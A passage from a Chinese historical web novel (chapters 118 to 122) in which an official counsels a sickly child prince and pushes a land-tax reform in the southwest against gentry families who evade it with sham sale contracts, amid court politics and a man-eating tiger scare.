小王爷细若蒲草的手指抓住轿子的窗框,他的贴身太监怕他冻着,用自己的手护在上边,被狂躁的寒风一吹,很快变得又红又肿。 王爷病气的眼睛看着段之缙,眼珠儿亮闪闪的,好像出了泪。 他要问一件至关重要的事儿。 “段大人,你觉得我能活到十岁吗?” 周围的奴才哗啦啦地跪下,段之缙忙说:“王爷洪福齐天,又有陛下呵护,定然会平平安安长成人,日后入朝理政,帮着陛下治理天下。” “我能活到那个时候吗?” 他的小太监抽抽搭搭起来,“王爷,您别把三皇子说的话放在心上,这么多的人伺候着您,您定然会长得比奴才快,比奴才高。” 段之缙心中悚然,是他一母同胞的哥哥说他活不长了吗?怎么会这样? 小王爷仍不理他,重复道:“大人,我能活到那个时候吗?” 他的眼睛那样认真,别的孩子还盼望着长大,他每天想的却是能不能长大。 能长到那个时候吗?和大哥他们一样,长到能骑马,能拉开弓,能娶妻生子,能去尚书房读书。 不对,他已经到了能骑马拉弓的年纪,也早就该去尚书房读书,只是他身子弱,可能会因此生病,所以所有人都忽视了这些问题。 而三哥,差了几个时辰的三哥,他有了自己的小白马,有了自己的小桦皮弓,还有自己的伴读。 猫能活十余年,他能活过猫吗? 还是如同小虫子一般,春天生,冬天就死了? 段之缙知道不能再说空而又空的话来应付小王爷了,他上前两步将小太监的手撤下去,用自己凉凉的手心盖住王爷,缓缓道:“臣不好读佛经,对此的了解也不够深,但还记得《涅槃经》里讲过人命不停,过于山水,今日虽存,明亦难保的道理。” 小王爷摇摇头,“我听不太懂。” 哦,忘了,他还是个小文盲呢。 段之缙又道:“您瞧着我们这些人好像活得好好的,说不得明天就嘎嘣死了,这哪里能预料到呢?也许我回南诏的路上遇到雪崩,被雪埋得邦邦硬,您也就再见不着我了。王爷虽看着弱弱的,似乎也没怎么生病,说不定能够活到耄耋之年。您要是拿着寿命一事来问臣,臣也只能这样回答。” 他看着绥王又一脸疑问,忽然反应过来,耄耋这个词对他来说好像超纲了,又开始劝学:“殿下也六岁了,该启蒙读书,就算大家都觉得没必要,可殿下也该找点事情做,启蒙之后就能知道臣所言何意了。若您对此仍有疑问,便去看看佛经吧,陛下性喜禅音,定然能教导您许多,或许您也能自己看看《佛说业报差别经》。” 寒风里,小王爷早就缩回了轿子,仍听段之缙絮絮叨叨,直到乾清宫里的人出来找才若有所思地离开。 等到了乾清宫,他头一回儿这样老实地请安,恭恭敬敬地跟皇上说话,“父皇,儿臣已经六岁了,求您为我找先生启蒙吧。” 皇帝一愣:“读书可苦得很,不读也罢。” 朝廷养得闲散宗室还少吗?不缺这一个。 可绥王不罢休,小小的一个跪在皇帝身前的脚踏上,抱着他的腿,“再苦再累,儿臣也要读,还请父皇为我找一名大法师来,给我讲讲佛经。” 皇帝缠不过他,颔首应允,叫人下去安排,还特意嘱咐了课程减半,别累着绥王。 等着用完膳,皇帝又叫人查发生了什么,得知是段之缙造的“孽”哭笑不得。 也罢,小孩子往往心智不坚,能坚持到几时?想来两三日又要哭着不想上学了,毕竟本朝教育皇子甚严,即便课程减半也不是四皇子能受得了的。 结果大家都预料错了,绥王不仅自作主张叫先生把课程加到和兄弟们一样,还硬生生挺了下来,也没累得生病。 第119章 119段之缙没等着过年,皇上就…… 段之缙没等着过年,皇上就催他启程,寒冬腊月里城门送别,大家都跑不出来,只有方叙墨在理藩院里清闲,出来送他一送。 他想着小绥王的事情终究难以释怀,最终还是与方叙墨说了。 “我有一事实在是好奇,倘若得不到答案这辈子也睡不着觉。” 方叙墨叫他一句话勾起了好奇心,忙问道:“什么事儿如此牵肠挂肚,说来听听。” 段之缙才将那天的事情说了,又道:“我实在想知道绥王为什么会推三皇子下水,三皇子到底有没有说过这些话,但你要偷偷地打听,千万别露出来是我说的。” 方叙墨面上凝重,“这绝不可能!明灯最是乖巧惹人爱的孩子,怎么会对着自己一母同胞的弟弟说这样的话?即便是有,也该是无心之失,或是叫绥王想错了。” 段之缙哂笑一声,“我说句不好听的你可千万别放在心上,你呢想听就听,不想听就当我没说,毕竟你这个朋友我还是想要的。” “据你所言,绥王对着奴才们喊打喊杀,对着兄弟姐妹也是不假辞色,甚至要加害于他们,我请问,你虽是下臣,但到底是姐夫,有没有劝过绥王,告诉过他孰对孰错?” 方叙墨惭愧地低下头。 “他的事儿都是陛下、皇后娘娘和安贵妃一手操办,爱之又爱,我们实在想不到这些。” 段之缙:“那可见他们管的不好了。说到底,要是任其发展,陛下一片爱子之心定然是舍不得管教,倘若他真活到了十六岁入朝,受苦的是你们又不是我。” 方叙墨愁得头大,“他将三皇子推落水之后,自己反而烧了一场,本来要罚,谁知他一病皇上心神俱乱,为了冲喜连夜封王。都这样了我怎么敢管?你想叫我怎么管?” 谁知这个好友嘴皮子一张一合,嗔道:“那纯是你们活该的,加害于兄长反而封王,做了坏事竟然得赏,他变成什么样都是你们该得的。我料想封王之时无人在 劝皇帝三思吧?” 谁说不是啊,秦尚书出去办差了谁还敢说两句?长乐王自己的世子都是这个死德行,恐怕绥王这刁钻的脾气,在他眼里是有个性。 皇帝一向强硬,素来容不得人说话,推行政令我行我素,谁又敢在封王这事儿上劝他?劝和没劝的结果都一样,劝了也是浪费口舌,还惹皇帝生气。 “推行政令是一回事儿,这些私事又是另一回事儿了。席翱这种都察院的微末之臣都敢直言劝谏,连诉三次令陛下堕泪而放过誉王,你们这些近臣反而畏手畏脚不敢直言相劝。” 他神色讥诮起来,松开拉着方叙墨的手道:“你知道我想起了什么吗?” “什么?” “宦官。” 方叙墨的脸胀成猪肝色,羞愧难当,倘若是一般人这样说他早就恼了,可段之缙又不是外人,只会把他说得面红耳赤。 段之缙又道:“我不是错骂了你们,我就是有意说此话的。你们就差主动跟皇帝提出封王了。劝了没用就能不劝吗?说了没用就能不说吗?” “成日抱怨席翱,我请问席翱上奏之前就知道自己能劝谏成功吗?”说道此处,他贴耳跟方叙墨说:“先帝肃王之事仍历历在目,绥王受恩深重,万一皇帝就是爱迷了心窍,也想要以爱立嫡……我大不了辞官跑路回淮宁去,你这个驸马想往哪跑?” 方叙墨猛地打了一个激灵,绥王病怏怏白惨惨的脸瞬间贴到眼前,“你一番道理醍醐灌顶,真真骂醒了我。可现在怎么办?” 段之缙道:“绥王既已经开蒙读书,你就得为陛下举荐一位刚正不阿的好老师来,我倒是有个好人选,就看你们能不能冰释前嫌。” “谁?” “席翱。无论是反对誉王一事,还是反对摊丁入亩之事都能看出他这个人既非为名,也不为利,甚至命也不要,纯粹是为了朝廷,这样正直的人如果不能做皇子师教导他们,才是浪费。” 方叙墨颔首,“我都记住了,你放心,一定照办。” 现在时辰也不早了,段之缙叮嘱他,若自己的疑问有了解答,一定要写信到南诏,否则寝食难安,方叙墨答应下来他才离开,千里迢迢回到南诏,到的时候,已经快三月,这里的春耕已经开始了。 诰命朝服,册封圣旨,因为母不能跪子,所以并没有宣旨的环节,虽有些简陋但一想到这是缙儿给自己挣来的,阿娘总是止不住欢喜,喜极而泣,眼泪脱眶而出。 “阿娘非为自己的诰命,而是为咱们母子,谁能料想你能有今日?阿娘所求不多,只希望你能好好的,这辈子平平安安即可。” “你的事情总是忙,娘也不留你了,该干什么干什么去,要好好地办皇帝安排下来的差事,上报天恩。” 段之缙离开前问沈白蘋去哪了,得知她去巡察各育婴堂得十来天才能回,便只好独自去前衙询问改土归流的事情,为摊丁入亩做准备。 宗怀宁作为钱粮师爷,又是领头的师爷,什么事情都得问他。 段之缙查了一日的文书,到了晚上才张口问道:“照这么说来,南诏改土归流的事情已毕,岺州最晚春耕结束之前也能完成?” “正是,我们已经给朝廷上了折子,如何安排官署还得朝廷决定。夫人提了能够担任知县的土官,我们也奏了上去。” “那就好。” 这件事儿也算是告一段落,段之缙转向宗怀宁问道:“可与你父母兄弟分户别过了?” “大人,父母在不分家,我虽在外也不能分户啊。” “你老家是哪里的?家里有多少地?” 宗怀宁不知所以,还是回道:“学生祖籍辽河,家中土地该有千余亩吧,具体的都是兄嫂在打理,学生不甚清楚。” “哦,其他人的呢?其他人你清楚吗?他们家中占地几何?” “大人银子给的丰厚,大家老家里也陆陆续续占下了土地,富裕些定然是能的。” 段之缙叫他坐下,“现在出了大事情,摊丁入亩要先在南诏和岺州二省实行,我跟陛下辞过,说这两省改土归流的差事尚未了结,一切都乱得很,人心浮动,怕难以摊丁入亩。可陛下说正是因为两省还乱着,才要趁乱行事,将事情一鼓作气定下来,从此之后再不变动。” 宗怀宁有些心烦意乱,如果摊丁入亩成了,势必要全国推行开,那他家那千来亩土地又要缴多少人丁钱? 段之缙又苦笑一声:“这件事儿对我来说自然无所谓,咱们家的事儿你也清楚,向来不好买卖土地,外祖年年赐金银,我又新得了养廉银,花也花不完。只是可怜你们,朝廷的差事又不得不做。” 宗怀宁有些泪目,就听段之缙道:“总归是屈了你们,得找补上。这样吧,我给你们垫上钱投入茶山里,占上股份,日后茶山盈利也按照投钱的占比分给你们如何?” 宗怀宁的眼泪瞬间消失,原来是打得这个主意。 茶山的事情还在影子里泡着,如何敢叫人投钱?宗怀宁便迟疑起来。 “你怕什么?花的我的钱又不是你们的钱,若是亏了我也不叫你们还。” “大人这是图的什么?” “我就图你们的一张嘴,若是我出去说总督的师爷们全在茶山里投了钱,你们可不许出去辟谣,吆喝着没投钱。再者你们这三年尽心尽力,无有不是,如果赚了也是你们该得的,以后我们大家好好相处,不要因为摊丁入亩的事情起矛盾。” 宗怀宁闷闷地吐一口气,“大人还信不过我?咱们是做师爷的,只要朝廷的政令发下来必然尽心尽责地帮着主家完成,怎么会有半点儿私心?这件事儿和茶山的事情都叫我过去说,他们也定和我一样的心思。” 段之缙展颜一笑,把替他们投多少钱的事儿算清楚又回到后衙休息。 这些年攒的赏赐、养廉和外家所赐的金银,除去要给大慈悲寺的,还剩一万八千两,全投了进去,以后得借钱养总督衙门了。 进了屋段之缙四仰八叉躺在床上,正闭目养神之际突觉脸上痒痒的,而后一个重物猛地压在胸口,差点儿把他压吐了。 睁眼一看,吓好大一跳。 段一撮不知什么时候进来的,还是说本就在这里,此时伏在段之缙胸前,猫头盯着人头,眼睛睁得溜圆,张口一吐,一只虫就落到人胸口上。 做了坏事它也不跑,十分骄矜地伏在主人家胸前,脑袋一蹭一蹭,眼珠儿盯着手不放。 段之缙把虫子找了个空茶碗放起来,把折腾人的祖宗搂在怀里,顺顺毛愁道:“怎么这样沉了,叫我摸摸肚子……唔,都耷拉下来了。” 想想自己的银子,随口说道:“我是不是叫你吃穷了的啊……” 段一撮似乎听懂了,朝着他的肚子狠跳了一下,踮着脚走掉,留他一人独守空房。 第二天,段之缙去找了学政和微,和微家中清贵,是大江南北有名的耕读世家,听段之缙一言脸色便不太好。 “真是逗笑话,你在京里就没劝劝皇上不要如此?” 段之缙脑子一转悠,既然皇上说了要担待就现在担待起来吧,苦着脸回道:“说是封疆大吏,实则离着皇帝也远了,到底不如近臣说话管用,可近臣也不说话啊,还不是由着陛下的性子来?” 和微蹙眉,一言不发,段之缙又道:“来之前还跟我说,要是做不成摊丁入亩的事情,就给我上熊计舒那一套,说不得郑楒琅上次记熊计舒,这一回就要写《记南岺总督段之缙之刑》了。” 上次熊计舒行刑,全省府级以上之官员全部都来观刑,和微如何不记得当时的惨状?此时听着打了一个寒战,刚才那点儿小心思消下去。 看来这个差事不仅要做,还得好好做,决不能在清丈土地的环节出差错。 和微跟段之缙保证道:“放心吧,我定然下死力去办成这件事儿,你就等着瞧好吧,但之后的事情可别来找我了。” 段之缙笑道:“这你放心,天大的麻烦也不会来打搅你的。” 第120章 120南诏是段之缙的大本营,改…… 南诏是段之缙的大本营,改土归流的进程也快,本地的土地占比小,乡绅的势力便不算很大,因而段之缙选择从该省的几个府县开始,逐步地推开。 现在摊丁入亩的消息还没有扩散开来,段之缙以改土归流重测土地的借口来清丈土地,和微配合着他在尘州、思明和克平三府的府学、县学委派众多廪生、附生出去办差。 三月初,清丈的活动就浩浩荡荡地展开了。 几乎每隔几年,朝廷都会来这么一遭,土地就摆在那儿,你想瞒也瞒不了,因而并没有掀起什么浪花,无论是有没有土地,大家都一边进行春耕,一边看着朝廷的人在田埂上拉线测量。 也是和微上心,所以在第一茬稻子收之前,清丈的活动就已经完成,在第二轮耕种之前,所有的土地都登记成册。 直到这时候,段之缙才露出了他的真面目,一道道告示从官府发出,摊丁入亩的政令龇牙咧嘴地展露在每一个土豪乡绅面前,土地不是那么多的地主不敢和朝廷作对,心里骂骂咧咧,但该交的人头钱一分也不敢少缴。 原先吞并丁家土地的那几个家族却大受打击,看着朝廷发的告示目眦欲裂,连夜聚在一起商议了起来。 笑话,从五千亩开始,人丁钱已经到了四两银,再加上原来的田赋这一大笔钱狠狠压在了乡绅们的心头。 丁家败亡之后为首者为克平府的孟家,他们是山东四姓孟氏之后,迁徙到了南诏,在这里占下了大片土地,拥有圣人之后的名头。 而这一代的族长就是孟庭璋,他是有功名在身的人。 何佳木看着孟庭璋气愤道:“不能任由这小子肆意妄为,丁家的事情暂且不论,可土地是咱们的根儿,如果动了咱们的根儿,哪还有咱们这些家族存在?得想一个法子叫他知道知道厉害!” 徐思寿冷哼一声道:“你说的倒是简单了,叫他知道知道厉害,这可是违抗朝廷的政令!那小子手里又有兵,倘若他恼了,直接来抢……其他的地方也不是没发生过这种事。多想想丁家的人是怎么死的吧!他们老太太都在总督衙门上了吊,有半分用处吗?” 何佳木气道:“难道就叫他骑在咱们头上作威作福,把祖宗的基业全给败净了?” 这两人吵来吵去,最后一齐看着孟庭璋,叫他拿个主意出来,孟庭璋把茶盖在茶水上浮两浮,敛眉一笑,“咱们都是有体面的人家,不要和朝廷对着干。但是土地卖出去买进来都是常有的事情,朝廷也管不着。” “大哥的意思是?” “既然这个人丁钱要从一百亩开始征,那我们就把地卖出去,叫土地分散开不就得了?一直到咱们这几家都只有五千亩以下。” “你疯了,把土地都卖出去,子孙后代们吃什么?” 孟庭璋笑着摇摇头,“徐弟,你急什么,先听着我说完嘛。卖出去,可咱们不要现银,而是与佃户们做契,让他们把买地钱分成几年来交付,当然,这几年交付的地钱实际上就是地租,咱们再于契书中约定,时间一到倘若他们拿不出那么多的钱,买卖就作废,地归原主,之前的算做是租地……” “可是他们如何能愿意呢?” “如何能不愿意?这明面上是买卖土地的契书,实则是租地的契书,地租还是原来的数,丝毫不变。倘若不愿意,就不要来租我们的地了,他们想喝西北风就去喝西北风吧!” 那两人面面相觑,开怀一笑,佩服道:“果然还是大哥有主意,咱们就这么办。” 于是没过多长时间,尘州府、思明府和克平府多地的县衙突然多了大量土地买卖的登记文书,而且还是死卖,要分几年才能完成,惊得官员一路往上报,一直报到了总督衙门,段之缙看完文书冷笑一声,这些人可算是出招了。 十几个县,买卖的文书基本全出自三家,里边的契文基本一样,卖价、利息和时间更是一个模子出来的,为了凑那个地租,坡地硬生生卖出了平地的钱,旱地倒弄出了比水田还高两成的价格,平均下来,一亩地卖到了十一、十二两。 这是买卖吗?这分明是长期租地的契书,兜兜转转,土地还是这些家族的! 宗怀宁在一边看着文书发愁,怨道:“虽没见过这样的契书,但律令也没禁止,这下可怎么办?” “怎么办?他们不是愿意卖地吗?卖!想卖就卖,但是契税要一文不少地缴上来!” “可咱们这儿的契钱低,也才百抽一,总共也就缴四五两的银子,咬咬牙或者主家们帮帮忙,这些钱还是能出的。” 段之缙叫包诸写文书,“可契钱不是定值,从百抽一到十抽一均可,改成十抽一。” 宗怀宁连忙阻拦,“大人,千万不要意气用事啊!这契税是买主缴纳,改成十抽一农户们要拿出来四五十两银子,如何能拿的出来啊!” “若那些农户能拿出来,我还改什么?左右今年的地都已经种过一茬了,粮食也都入了库,再从外省调一些,凭着其他府县和新改土归流之地的粮食,养活这三府的人也并不困难。最多就是农户们租不起地,乡绅们租不出去地。” 宗怀宁觉得他异想天开,“这么多人张着口吃饭,大人要无灾生出灾情,开仓放粮吗?他们买粮的钱又要从哪里来?” “茶山还缺着人,叫他们去茶山做工,用今年的火耗发工钱也能支撑。我心中有打算,地租不出去,最心急的可不是佃户,而是乡绅们才对,毕竟这些人家靠着土地吃饭,没人种地收入就少了。” 走着瞧吧,你们最好借贷给农户,叫他们把契钱交上,可人家也不是傻子,借了钱是要还的啊! 段之缙叫包诸写的清楚明白些,“如果发生了借贷,借贷的文书官府也要阅览,把里边的契文都剖析给农户们听,千万别叫他们蒙在鼓里吃了亏!” 包诸赶紧按他的吩咐写,当天就派了出去,先到三府的府衙,而后分往各县衙。 果然不出段之缙所料,一旦真涉及到了银钱,农户们就畏手畏脚了许多,孟庭璋咬紧牙关,片刻后冷冷一哼,“个把银子,倒真当我孟家拿不出来了?一户佃农缴五十两的契钱,咱们三家总共也就拿不到一万五千两的契钱,就当是日行一善,不比咱们手上的扳指贵多少。” 何佳木、徐思寿一听,好像是这个道理,一万五千两不是什么大钱,给那些佃户出了也无所谓,于是都同意了这个主意,地方藩库一下子进了近一万五千两的税银,但宗怀宁却乐不起来。 他愁眉苦脸看着总督,“这下好了,一下子少了一万三千多亩土地的人丁钱,学生早就劝过大人,不要意气用事……” 段之缙笑道:“怕什么!你没看着吗?这些傻子套的一份契书,旱地卖成水田的价格,但水田还是那份价格,咱们这个契钱是白得来的,也该好好用回去!先跟东南藩库和淮宁外祖家那儿借点钱……” 东南商贾多,藩库的钱也多,外祖家富裕,跟他们借点儿应该不成问题,加上一万五的契银和藩库里的富裕银两,这一次段之缙要借贷给农户,叫他们提前把契书里的约定完成,把土地变成自己的土地。 “水田是八千亩,算一算总共要花十万两左右,契银和藩库一共能出四万,跟贺子成借东南藩库的钱,外祖再补剩下的,然后咱们以最低的利来借贷,不信农户们不来借。” “大人,还有人丁钱呢!人丁钱从哪儿收啊!” 段之缙拍拍宗师爷的肩膀,“你瞧瞧你,急什么?借出去四万两的银子,每年利息总要有一千两吧……” “这也不够啊!” “你这就本末倒置了,朝廷为何要从一百亩起征,又为何要摊丁入亩?多收钱是其一,其二也是要叫这些平民百姓减轻负担,这样一来第二个目的不就达成了吗?八千亩土地不算什么,一万三千亩也不算什么,还有更多的土地在这些大家族手里呢,不怕没有钱。” 宗师爷还能说什么?只有长吁短叹,安排人给贺子成大人去信。 因为上次买□□的事情纯碎是岭南吃亏,段之缙也没个补偿,贺子成憋了老大一股气,现在看着他来打秋风,更是气不打一出来,只想骂他一顿而后拒绝,但是他的师爷却提了另一件事儿。 “大人,他要是借钱干别的也就罢了,摊丁入亩是皇上紧盯着的政事,只要咱们能帮,还是得帮一帮,别等着他事儿败了,说一句当 时贺大人不借钱给我,这才酿成今日之局面。但借归借,借了之后要跟陛下说,咱们做他摊丁入亩的督察官,替皇上看着他!” 贺子成思量一番,吩咐道:“这些个儿穷得叮当响的地方自然想不到咱们有多富裕,剩下的六万两全从岭南出,去支出来吧,别叫他跟商人借钱,像什么样子!” 师爷立刻去安排。 就在段之缙着急地等贺子成回信的时候,有一封从京城来的信更快到达,一看名字,正是方叙墨的。 段之缙手忙脚乱地拆启,结果方叙墨正经事儿一句话没说,上来就是好一阵抱怨,嗔段之缙教坏了绥王,牙还没换的孩子竟想着出家,偷偷摸摸把自己的头发剃了准备和大法师出宫去。 “全赖你,若不是你跟着小王爷谈佛又怎么会把他引上歧路?现在如何哄也哄不住,已经断了荤腥只用斋饭了,天天念叨着要行诸善事求得长生,对着皇上和皇后娘娘喊施主,陛下憋着一股火气没发折子骂你,快想个办法来啊!” 段之缙一口茶喷在纸上,头突突得疼起来。 这也要怪他吗?【你现在阅读的是 】 120-130 第121章 121等会儿,怎么没写明灯的事情?…… 等会儿,怎么没写明灯的事情?段之缙把信息来回翻了翻,又在信封里一掏才发现还落了一张,上边只一句话,“明灯尚且年幼,很多人情世故并不清楚,也是无心之失,且奴奴也原谅了他,也没必要再追究。” 段之缙默默无语。 六岁的小孩儿的确不通人情世故,可他总该知道什么样的话会叫自己的弟弟伤心。 还有绥王,他们如何知道绥王原谅了自己的三哥?若是直接问的,那绥王心里再讨厌,也只能说原谅了三哥。 至于心中如何想?恐怕大人们只想见自己想见的一面,听不得孩子的真心话。 段之缙没有在回信中说这些,只写绥王出家与自己无半文钱的关系,与其找自己的不是,不如去找找大法师的缘由,他跟绥王讲了些什么叫小王爷一心向佛。 又特意给绥王写了一些话,告诉他若要行诸善事,出家为僧、念经诵佛只是小善,真正的大善是以身入世,否则佛菩萨何苦转世投胎、历劫受险呢? 因皇帝的心思,大抵是想要绥王平安长大,最好能入朝理政,因而又写道:“且日后殿下长成,入朝理事,助陛下改革弊政才是真正地救万民于水火。臣在西南摊丁入亩,土豪乡绅屡屡以阴谋诡计违抗政令,但臣借力打力,将从其中为佃户购得八千亩水田,让三百余户人家从此吃饱穿暖,岂不比念佛诵经行善事多……” “又云,百善孝为先,身体发肤受之父母,不敢毁也。殿下毅然断发,向佛之心可明,只是弃父母亲于不顾,另其心毁神伤,恐非佛家所言之善……” 段之缙洒洒洋洋写了一大摞纸出来,又因本朝茶叶一向官营,这一带新辟茶山却还没有着落,恳请陛下官商合营,各参其股各收其利。厚厚一封书信寄给方叙墨,又托方叙墨呈给陛下,让陛下决定要不要给绥王看。 等这一封信被展开阅览时,皇帝瞧他说摊丁入亩是行善,忽而一笑。 他是真的以为自己在行善吗? 不过其所作所为,的确是行善了。 纪禅想想贺子成的奏折,将其从奏折堆里抽了出来,在上边写“知道了”。 这便是同意贺子成所请的意思。 皇帝又拿着信看了一遍,叫人把短毛小绥王领来乾清宫。 不知念佛是真的有用还是巧合,皇上也觉得奴奴脸上之病气弱了些。 苏橙上去欲抱,被小王爷推开,双手合十念道:“阿弥陀佛,多谢施主,贫僧自己走即可。” 苏橙无措地看一眼皇上,被挥手叫退下。 小王爷的头发是自己在被窝里悄悄剪的,剪得很短,但因为看不见,总是有些地方长有些地方短,像是狗啃过的。 他上前来也不跪,仍是双手合十跟陛下道:“阿弥陀佛,贫僧见过圣上。” 纪禅又气又笑,又可怜这个古怪的小儿子。 登基之后非没有幼子降生,但正如先帝有甚爱之子和不甚爱之子,皇帝也有。 若说皇帝寄希望于三皇子能成大事,取太子而代之,他对小绥王却全是一番父子亲情,爱之又爱,慎之又慎。 结果这样供着爱着,却被两三人之三两语说动,要弃父母而离家,怎不叫做父亲的伤心。 他也是熟通佛经之人,双手合十对着自己的儿子念一声“阿弥陀佛”,将桌上之信递给绥王看,“法师,这是南岺总督段之缙的书信,是劝你不要出家的。若看后还执意要入空门,朕便将京外西山行宫改为佛寺供奉你。” 绥王拿过比他头还大的信纸阅览。 他开蒙最晚,倒和三皇子一般聪明,又比其刻苦,有些句子虽不知出处,但见其句知其意,除一二处需要请教“施主”之外,读信十分流畅,更叫皇帝舍不得。 绥王阅完,觉得甚有道理,可于他而言,入朝似乎太晚,要等到十六岁,但出家行小善却能立时开始。 皇帝摸摸刺乎乎的小脑袋,愁道:“小小年纪倒看得开,不知你是如何想的。方叙墨说得对,你虽小病不断,大病却基本没有,料想虽身子虚弱些,但磕磕绊绊地也能长大。” “朕在宫中为你辟一佛堂出来,其余的时候跟着你的哥哥弟弟们照常读书,到他们练骑射的时候你去礼佛。这样两全其美,你觉得呢?” 绥王终于答应下来,皇帝才把他抱坐到腿上,寻思着打他一下,可打哪都舍不得,最后反过来儿子的掌心,用朱笔的笔杆一敲,全做惩戒。 “你啊你,闹这么一遭,除了父母为你伤心,还有谁是为了你好?日后如何安排都要听父皇的才是,不要叫人蒙骗了去。” 皇帝殷切叮嘱,小绥王却在心里默默腹诽。 还有他的太子哥哥也为他伤心了,甚至来看着他流眼泪。 真是时移世易,如今同胎所生的哥哥和比不得差了二十来岁的哥哥了。 这一场风波过去,在皇帝心中段之缙算是功过相抵无功无过,只下旨吩咐他行事不要太过张扬,摊丁入亩本就是违背祖制,最好能照律行事不要再生事端。 至于茶山一事,因段之缙在信中说尽了官商合办的好处,再加上内务府官办的确弊端无穷,便想如他所言试上一试,若是不行则立派官员接手。 段之缙接到圣旨大喜过望,现在可以正大光明地跟地主、商人们招投资了,不过现在尚且不是时候,得等着地主一计又一计,计计走不通的时候才好发出消息。 因而贺子成的借款一到,段之缙立刻安排地方官府放贷。 农户们原本还略有迟疑,怕上过东家们的当,再上官府的当,但官府竟与他们立契,利钱就那么一点儿还能用粮食抵,想着这一任总督上来后日子轻松不少,便有几个大胆的去借钱,官府的银子一出借,他们立刻去还钱,也不管人家要不要反正都还了。 县衙也是着急得慌,只要还了钱,立刻告知双方钱货两讫,从此之后土地归买方所有,与卖方再无瓜葛。 现在没了人丁钱,朝廷的债好还,东家的债可不好还啊! 短短十几日,农户们一窝蜂地来借钱买地,原本实为租赁的契书真成了买卖。 八千亩良田,虽然从卖价上他们没吃亏,但整整八千亩,祖宗的基业,八分之一还多的土地全没了…… 三家和其他零星的小家族都停止了出卖土地的举动,孟、徐两人又聚在一起,何家没来全因此次损失过大,他又是新任族长,着急给族内一个解释。 徐思寿愁得头发愈发稀疏,最后气道:“大不了,咱们一不做二不休,今年的地停种,看他们要怎么办!” 孟庭璋觑他一眼,“你真是口不择言了,今年无天灾无人祸,税赋正常缴纳,三钱的田赋和不定的人丁钱,你还得一文不少地缴上。不种地只会扩大损失,于家无益啊。办法总会有的,大不了等着这一批契书期限到了,咱们把地租银拔高,叫佃户们替咱们分担分担。” 千百年都是这样过来的,上边加赋,转移到下边去,反正中间的地主乡绅吃不了亏。 徐思寿算了算剩余的年限,最后也认了命,“也是,总不能真的抗赋,就先这样吧。” 只是他们想得好,紧跟着衙门出了新令,凡一切租赁、买卖土地之契文,其佃租、售价及利息悉报于当地县衙,禁绝过低与过高之价,准与不准由衙门裁决。 这就堵死了所有的路,地不能卖也不想卖,银不想交却不能不交。 等到第二茬粮食收割,只这三府就缴上来将近十二万两白银,几乎是两省的人丁钱。 正在段之缙准备再开两府而乡绅们想尽办法的时候,天赐下了一个绝好的借口,在南部边境处出现了猛虎伤人的噩耗,且受害的范围越来越大,自最南边 直向内陆,短短月余就有三十余人遇害,平均一日就是一人。 官府多次派人进山清扫,却从未见过那虎的真身若不是有脚印和被吃完的尸身能印证,定然会被传成恶鬼伤人。 恐慌一直持续到十月底,那从未现过真身的虎已经成为了天罚。 摊丁入亩是乱政,所以天降神君警示世人。 谣言伴随着不断出现的伤亡消息,快马加鞭地赶往京城,官员们心照不宣纷纷上疏参劾段之缙乱政虐民,甚至出现了叫皇帝下罪己诏的言论。 乾清宫内,皇帝呆坐在案前,忽而手一扬将题本、奏折全都打落在地,吕太清哆嗦一下也不敢吱声,只蒙着头捡折子放回案上。 皇帝一摆手又全推下去,“全是些没用的废话!扔废纸篓里去!” 吕太清缩一缩脖子,也不敢照办。 长乐王抱着绥王进来,打眼儿一看殿内一片狼藉,便知皇帝是因为上午听政时议的事情气不顺。 也是,哪个皇帝听见罪己诏这三个字能气顺? 南边摊丁入亩又刚尝着一点儿甜头,你叫他怎么能停下手? 长乐王把绥王放地上,拍拍他单薄的身子吩咐道:“去给你父皇捡起来。” 绥王颠颠地跑过去,蹲着捡起了折子踮着脚放到案上,又歪着脑袋看皇帝,问道:“父皇,你怎么了?” 皇帝不知如何说,长乐王回道:“有一个地方出现了猛虎伤人,陛下不知怎么办才好。” “既然有猛虎伤人,那把老虎打死不就得了?” “可现在有人说,是皇上为政有过失,上天才降下灾祸来警示皇上。” 所谓天人感应,便是如此。 绥王却道:“这是谁说的?有谁听见天这样说了?为什么不说是别的人做了恶事让天降下灾祸?而且倘若是父皇为政有过失,怎么不叫父皇受罚,反而叫百姓被杀?这天未免太坏!” 长乐王听着乐,皇帝只嫌这小儿子读书不全,不晓得天人感应的道理,长乐王奏道:“绥王说得不无道理,这次虎灾本就与陛下无关,杀了就是,是朝臣小题大做闹出什么上天警示。若是真下罪己诏反而有损陛下的声望,下旨催着段之缙杀虎即可。再者,朝中借题发挥的风气也该治一治。” 第122章 122皇帝听着眼睛一眯,“对,…… 皇帝听着眼睛一眯,“对,你说得对,他们这种诽谤国政的风气的确该止一止,很该叫朝臣一块儿看看这封信,叫他们也明白明白。” “说起风气一事,纪明与俞石明在四平街争路的事情,他的侍卫、奴才有没有和你说?” 长乐王赶紧跪下请罪:“一回家就报给臣知晓了,是臣之过,没有管教好世子。” 皇帝任他跪着,也实在是气得头昏。 自立朝以来总经五帝,莫说是宗亲世子,哪怕是皇子也没有敢与尚书在大街上争路的! 何况也不是争路,俞石明的马车早已让开,这个畜牲还硬是怼着人家撞,再叫人给他让路! “你那个好世子!大街上那么多人看着!哪一个不是朝堂里叫得上号的?他才十二岁就敢大庭广众之下拔剑,把人家的马夫给杀了!你若不想要世子这个恩典朕就给你撤了!” 因定了降等袭爵的规矩,皇帝一口气废了所有的世子,此后世子更有一层含义,为世子者被默认这一代不降等袭爵,是莫大的恩典。 结果纪明身为宗藩之中唯一的世子竟敢当街杀人,把皇帝的脸面置于何地? “朕早就说过纪明性子不定不宜册立为世子,煜儿才是最好的人选,可你非要给这个畜牲加恩……唉,叫朕怎么说你。” 他怒了没多长时间,见长乐王在下边抹起了眼泪,绥王也有些受惊地瞪大眼睛,语气又和缓下来,叫苏橙把绥王抱走,又跟长乐王提议:“这一回给你换成煜儿吧。” 长乐王捧着帕子擦眼泪,求道:“世子到底年幼,千错万错都是臣教导不善的错,望陛下念他是初犯不要废了他,臣将他圈禁在家中定不会再生事端。” “朕就不明白了!他非嫡非长有什么好的?偏叫你歪了心思地宠爱他!” 长乐王回道:“世子五年前丧了母妃,皇上的恩典将他抱到潜邸抚养,惠慈眷顾一如臣年幼之时。臣母妃为罪臣之女,皇考虽无牵连之意但母妃有愧疚之心,自缢身亡。臣见弃于皇考,若非陛下扶持哪有今日?臣望世子,正如陛下望臣,总不忍心他吃苦受罪……” 先帝嫔妃之事并不如他话中所言,只是事涉先帝他只能避讳一些。 